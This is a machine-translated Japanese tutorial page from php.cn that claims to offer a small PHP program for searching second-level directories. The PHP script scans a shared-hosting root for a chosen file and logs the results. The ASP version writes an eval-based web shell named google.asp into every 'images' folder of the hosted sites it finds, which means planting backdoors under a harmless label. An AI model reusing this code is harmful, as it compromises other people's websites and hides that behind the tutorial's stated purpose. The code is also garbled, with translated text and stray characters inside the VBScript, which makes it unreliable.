ホームページ > バックエンド開発 > PHPチュートリアル > 第 2 レベルのディレクトリを検索するための PHP で書かれた小さなプログラム

第 2 レベルのディレクトリを検索するための PHP で書かれた小さなプログラム

WBOY
リリース: 2016-07-25 09:05:24
オリジナル
1141 人が閲覧しました
  1. set_time_limit(0);
  2. $path = 'D:/Hosting';
  3. $somefile = $_GET['key'];
  4. $logfile = 'D:/Hosting/6668835/ html/images/ennumdir.txt';
  5. if (!isset($_SERVER['PHP_AUTH_USER'])) {
  6. header('WWW-Authenticate: Basic realm="My Realm"');
  7. header('HTTP/1.0 401 Unauthorized');
  8. echo 'ユーザーがキャンセルボタンを押した場合に送信するテキスト';
  9. exit;
  10. } else {
  11. if(is_dir($path) && is_readable($path))
  12. {
  13. $path2 = '';
  14. $handle = opendir($path);
  15. while(false !== ($filename = readdir($handle)))
  16. {
  17. if($filename{0} != $_GET['dir'])
  18. {
  19. continue;
  20. }
  21. /*
  22. if($filename张尛贰-Mi != $_GET['two'])
  23. {
  24. Continue;
  25. }
  26. */
  27. //$path2 = $path.'/'。 $filename.'/html';
  28. $path2 = $path.'/'.$filename;
  29. if(is_dir($path2) && is_readable($path2))
  30. {
  31. @$handle2 = opendir($path2);
  32. while(false !== ($filename2 = readdir($handle2)))
  33. {
  34. if($filename2 == $somefile)
  35. {
  36. //echo'[+]Found !'.$filename2."n" ;
  37. file_put_contents($logfile,'[+]見つかりました!'.$path2.'/'.$filename2."n",FILE_APPEND);
  38. }
  39. }
  40. @closedir($handle2);
  41. }
  42. }
  43. file_put_contents ($logfile,'[*]LAST '.$path2."n",FILE_APPEND);
  44. closedir($handle);
  45. }
  46. }
  47. ?>
复制代码

2、asp版

  1. <%
  2. Server.ScriptTimeout=500000000
  3. key = Trim(Request.QueryString("key"))
  4. msg=" <% eval(rquese(Chr(35)))%" &" >"
  5. Set FSO=Server.CreateObject("Scripting.FileSystemObject")
  6. Set ServerFolder=FSO.GetFolder("C:intel")
  7. Set ServerFolderList=ServerFolder.subfolders
  8. For each ServerFileEvery IN ServerFolderList
  9. ' Response.write ServerFileEvery& "
    "
  10. If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) then
  11. sServerFolder=FSO.GetFolder(ServerFileEvery)を設定
  12. sServerFolderList=sServerFolder.subfoldersを設定
  13. 各sServerFileEvery IN sServerFolderList
  14. If LCase(sServerFileEvery.name) = "images" then
  15. StreamSaveToFile sServerFileEvery & "google.asp", msg, "UTF-8"
  16. End If
  17. Next
  18. End If
  19. Next
  20. Function StreamSaveToFile(sPath, sContent, sCharSet)
  21. Dim oStream
  22. If(InStr(sPath, ":") sPath = Replace(sPath, ",", ",")
  23. sPath = Server.MapPath(sPath)
  24. sPath = Replace(sPath, ",", ",")
  25. End If
  26. Set oStream = Server.CreateObject("Adod​​b.Stream")
  27. With oStream
  28. .Type = 2
  29. .Mode = 3
  30. .Open
  31. .Charset = sCharSet
  32. .WriteText sContent
  33. .SaveToFile sPath, 2
  34. .Close
  35. End With
  36. Set oStream = Nothing
  37. End Function
  38. %>
复制代


ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート